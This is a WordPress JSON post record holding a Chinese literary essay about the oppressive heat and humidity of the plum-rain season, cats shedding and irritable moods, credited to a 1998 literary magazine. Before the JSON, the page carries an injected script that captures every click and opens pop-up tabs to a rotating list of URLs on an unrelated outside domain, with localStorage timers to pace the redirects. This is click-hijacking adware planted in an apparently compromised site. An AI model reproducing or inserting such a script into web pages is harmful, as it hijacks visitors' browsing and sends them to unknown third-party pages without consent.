<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1220,"date":"2016-03-17T20:58:15","date_gmt":"2016-03-17T12:58:15","guid":{"rendered":"http:\/\/edu.secda.info\/yujuwu\/?p=1220"},"modified":"2016-03-17T20:58:15","modified_gmt":"2016-03-17T12:58:15","slug":"%e6%82%b6-%e9%8d%be%e6%80%a1%e9%9b%af","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/yujuwu\/?p=1220","title":{"rendered":"\u60b6-\u937e\u6021\u96ef"},"content":{"rendered":"<p style=\"margin: 36pt 0cm 18pt; text-align: center;\" align=\"center\"><b><span style=\"font-size: 15pt;\">\u60b6<\/span><\/b><\/p>\n<p style=\"margin: 36pt 0cm 18pt; text-align: center;\" align=\"center\"><b><span style=\"font-size: 13pt;\">\u937e\u6021\u96ef<\/span><\/b><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 22pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">\u6885\u96e8\u4e00\u4f86\uff0c\u8eab\u9ad4\u88e1\u597d\u50cf\u6709\u4e00\u5ea7\u706b\u7210\u958b\u59cb\u71c3\u71d2\u3002\u96e8\u52e2\u6642\u800c\u5486\u54ee\u6642\u800c\u4f4e\u6ce3\uff0c\u76ae\u819a\u4e5f\u6c38\u9060\u9ecf\u9ecf\u81a9\u81a9\uff0c\u90a3\u662f\u6563\u81ea\u9ad4\u5167\u7684\u6c34\u84b8\u6c7d\u3002\u6bcf\u5929\u5bb6\u88e1\u7684\u9664\u6fd5\u6a5f\u6392\u51fa\u5169\u4e09\u6876\u6c34\uff0c\u90e8\u5206\u4f86\u6e90\u662f\u6211\u7684\u8eab\u9ad4\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 22pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">\u6211\u7e3d\u89ba\u5f97\u71b1\uff0c\u4e0d\u65b7\u559d\u6c34\uff0c\u4e0d\u65b7\u6392\u6c57\uff0c\u8eab\u9ad4\u8b8a\u6210\u4e00\u53f0\u84b8\u6c7d\u6a5f\u3002\u71b1\u5728\u8eab\u9ad4\u6253\u8f49\uff0c\u71b1\u5728\u5fc3\u88e1\u6d41\u7ac4\u3002\u76c6\u5730\u7684\u71b1\u662f\u9ecf\u7a20\u7684\uff0c\u7cfe\u7e8f\u4e0d\u6e05\u7684\u5341\u5206\u8a0e\u4eba\u53ad\u3002\u4e0d\u50cf\u8d64\u9053\u7684\u707c\u71b1\uff0c\u6d41\u4e00\u8eab\u6c57\u5c31\u7b97\u9084\u4e86\u50b5\uff0c\u9ad4\u5167\u7684\u71b1\u706b\u6703\u9010\u6f38\u7184\u6ec5\uff0c\u813e\u6c23\u662f\u706b\u7206\u4e86\u4e9b\uff0c\u5012\u662f\u500b\u4e7e\u8106\u7684\u6f22\u5b50\u3002\u6709\u4e9b\u4eba\u81c9\u4e0a\u7b11\u8aaa\u6c92\u95dc\u4fc2\uff0c\u53ef\u537b\u4e00\u8f29\u5b50\u8a18\u4ec7\uff0c\u6885\u96e8\u5c31\u662f\u9019\u6a23\uff0c\u6bcf\u5e74\u4e94\u6708\u5b83\u90fd\u8a18\u5f97\u4f86\u8a0e\u50b5\uff0c\u53c8\u60b6\u53c8\u7169\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 22pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">\u9019\u5b63\u7bc0\u9023\u8c93\u90fd\u5acc\u71b1\u3002\u6bcf\u5929\u9664\u4e86\u5012\u6389\u5169\u4e09\u6876\u7a7a\u6c23\u7684\u6c57\u6c34\uff0c\u9084\u8981\u6e05\u7406\u4ee4\u4eba\u760b\u72c2\u7684\u8c93\u6bdb\u3002\u7a7a\u6c23\u4e2d\u7e3d\u6709\u6210\u5718\u7684\u8c93\u6bdb\u7d50\u4f34\u98db\u7fd4\uff0c\u5730\u4e0a\u4e5f\u6709\u4e00\u64ae\u4e00\u64ae\u5728\u8ffd\u5b09\u6232\u3002\u81e8\u51fa\u9580\u6642\uff0c\u8c93\u4f86\u8173\u908a\u78e8\u5e7e\u78e8\uff0c\u88d9\u5b50\u4fbf\u90fd\u6cbe\u4e86\u6bdb\u908a\u3002\u70ba\u4e86\u5feb\u9ede\u7d50\u675f\u64bf\u6bdb\u7684\u6298\u78e8\uff0c\u4e7e\u8106\u8cb7\u628a\u67d4\u8edf\u7684\u68b3\u5b50\u5e6b\u7260\u5011\u68b3\u6bdb\uff0c\u6216\u8005\u8aaa\uff0c\u52a0\u901f\u812b\u6bdb\u3002\u5169\u96bb\u8c93\u4e00\u6b21\u68b3\u4e0b\u7684\u6bdb\uff0c\u7c21\u76f4\u53ef\u4ee5\u7591\u6210\u4e00\u500b\u67d4\u8edf\u7684\u7761\u6795\u3002\u5169\u4e09\u5929\u5f8c\uff0c\u540c\u6a23\u7684\u6bdb\u91cf\u4ee4\u4eba\u5192\u706b\u3002\u6bcf\u6b21\u68b3\u6bdb\u5b8c\u7562\uff0c\u6211\u90fd\u5947\u6e34\u7121\u6bd4\uff0c\u5df4\u4e0d\u5f97\u628a\u6d74\u7f38\u88e1\u7684\u6c34\u4e00\u53e3\u6c23\u5438\u76e1\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 22pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">\u90a3\u662f\u8eab\u9ad4\u88e1\u7684\u706b\u7210\u5728\u71c3\u71d2\uff0c\u800c\u4e14\u706b\u52e2\u6703\u96a8\u8457\u6c23\u6eab\u5347\u9ad8\u800c\u8b8a\u65fa\u3002\u5f9e\u4f86\u6c92\u6709\u559c\u6b61\u904e\u590f\u5929\uff0c\u5fc3\u88e1\u8001\u662f\u4e00\u628a\u7121\u540d\u706b\uff0c\u5e38\u5e38\u90a3\u706b\u7130\u300c\u84ec\u300d\u7684\u7ac4\u5230\u5589\u56a8\uff0c\u53ea\u5dee\u6c92\u5f9e\u5634\u5df4\u5192\u51fa\u706b\u4f86\u3002\u6211\u7e3d\u61f7\u7591\u706b\u7130\u7184\u6ec5\u4e4b\u5f8c\uff0c\u7159\u5982\u8349\u86c7\u5728\u8840\u7ba1\u88e1\u4e82\u947d\uff0c\u71dc\u51fa\u8fa3\u4eba\u7684\u813e\u6c23\uff0c\u60b6\u5230\u5168\u8eab\u9165\u8edf\u7121\u529b\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 22pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">\u9019\u6642\u7bc0\u505a\u4ec0\u9ebc\u4e8b\u90fd\u4e0d\u5c0d\u52c1\uff0c\u5beb\u7a3f\u5beb\u51fa\u4e00\u8eab\u6c57\uff0c\u9023\u601d\u7dd2\u90fd\u5f97\u8edf\u8db4\u8db4\uff0c\u597d\u50cf\u904e\u4e86\u706b\u5019\u7684\u8e44\u8180\uff1b\u4e00\u5834\u5348\u89ba\u9192\u4f86\uff0c\u4f3c\u5728\u5922\u88e1\u8dd1\u904e\u99ac\u62c9\u677e\uff0c\u4e5f\u662f\u6c57\u4e00\u8eab\u3002\u9f3b\u5b50\u592a\u904e\u5b0c\u8cb4\uff0c\u5439\u4e0d\u5f97\u8212\u670d\u7684\u51b7\u6c23\uff0c\u53ea\u597d\u52c9\u52f5\u81ea\u5df1\uff0c\u5fcd\u4e00\u5fcd\uff0c\u7701\u4e0b\u639b\u75c5\u865f\u7684\u9ebb\u7169\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 22pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">\u5be6\u5728\u5fcd\u7121\u53ef\u5fcd\uff0c\u5c31\u53bb\u6c96\u6dbc\u3002\u6c34\u6253\u8eab\u9ad4\u6d41\u904e\uff0c\u597d\u50cf\u5728\u6ec5\u706b\u3002\u6700\u9ad8\u8a18\u9304\u4e00\u5929\u6c96\u516d\u6b21\uff0c\u5f97\u610f\u6d0b\u6d0b\u544a\u8a34\u5c0f\u59b9\uff0c\u8d64\u9053\u518d\u71b1\uff0c\u4e5f\u4e0d\u6703\u8b93\u4eba\u89ba\u5f97\u8eab\u9ad4\u6709\u4e00\u5927\u6ef4\u6cb9\u5feb\u8981\u88ab\u71dc\u51fa\u4f86\u4e86\uff01\u8aaa\u5b8c\u89ba\u5f97\u81ea\u5df1\u771f\u7121\u804a\u3002\u5c0f\u59b9\u7acb\u523b\u56de\u5634\uff0c\u5927\u59d0\uff0c\u4f60\u771f\u60b6\u9a37\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 22pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">\u60f3\u60f3\u81ea\u5df1\u4ee5\u524d\u5fc3\u60c5\u4e0d\u597d\u5c31\u95dc\u4e0a\u623f\u9580\uff0c\u60b6\u5230\u623f\u88e1\u5feb\u5192\u7159\u4e86\uff0c\u624d\u51fa\u4f86\u900f\u6c23\u3002\u6309\u7167\u5c0f\u59b9\u7684\u8aaa\u6cd5\uff0c\u623f\u88e1\u61c9\u8a72\u4e5f\u6709\u4e9b\u60b6\u9a37\u5473\u7684\u3002\u90a3\u662f\u4e00\u7a2e\u600e\u6a23\u7684\u5473\u9053\u5462\uff1f\u6211\u62b9\u8457\u6c57\uff0c\u55ef\uff01\u5927\u6982\uff0c\u50cf\u662f\u72d0\u72f8\u5473\u5427\uff01<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-align: right; text-indent: 22pt; line-height: 22pt;\" align=\"right\"><span style=\"font-size: 11pt;\">\u2014\u2014<\/span><span style=\"font-size: 11pt;\">\u539f\u8f09\u4e00\u4e5d\u4e5d\u516b\u5e74\u4e03\u6708\u300a\u806f\u5408\u6587\u5b78\u300b\u7b2c\u4e00\u516d\u4e94\u671f<\/span><\/p>\n<p><span>\u00a0<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u60b6 \u937e\u6021\u96ef \u6885\u96e8\u4e00\u4f86\uff0c\u8eab\u9ad4\u88e1\u597d\u50cf\u6709\u4e00\u5ea7\u706b\u7210\u958b\u59cb\u71c3\u71d2\u3002\u96e8\u52e2\u6642\u800c\u5486\u54ee\u6642\u800c\u4f4e\u6ce3\uff0c\u76ae\u819a\u4e5f\u6c38\u9060\u9ecf\u9ecf\u81a9\u81a9\uff0c\u90a3\u662f\u6563\u81ea\u9ad4\u5167\u7684\u6c34 [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[46,58,1,42,56],"tags":[90,89,79],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1220"}],"collection":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1220"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1220\/revisions"}],"predecessor-version":[{"id":1221,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1220\/revisions\/1221"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1220"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1220"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1220"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}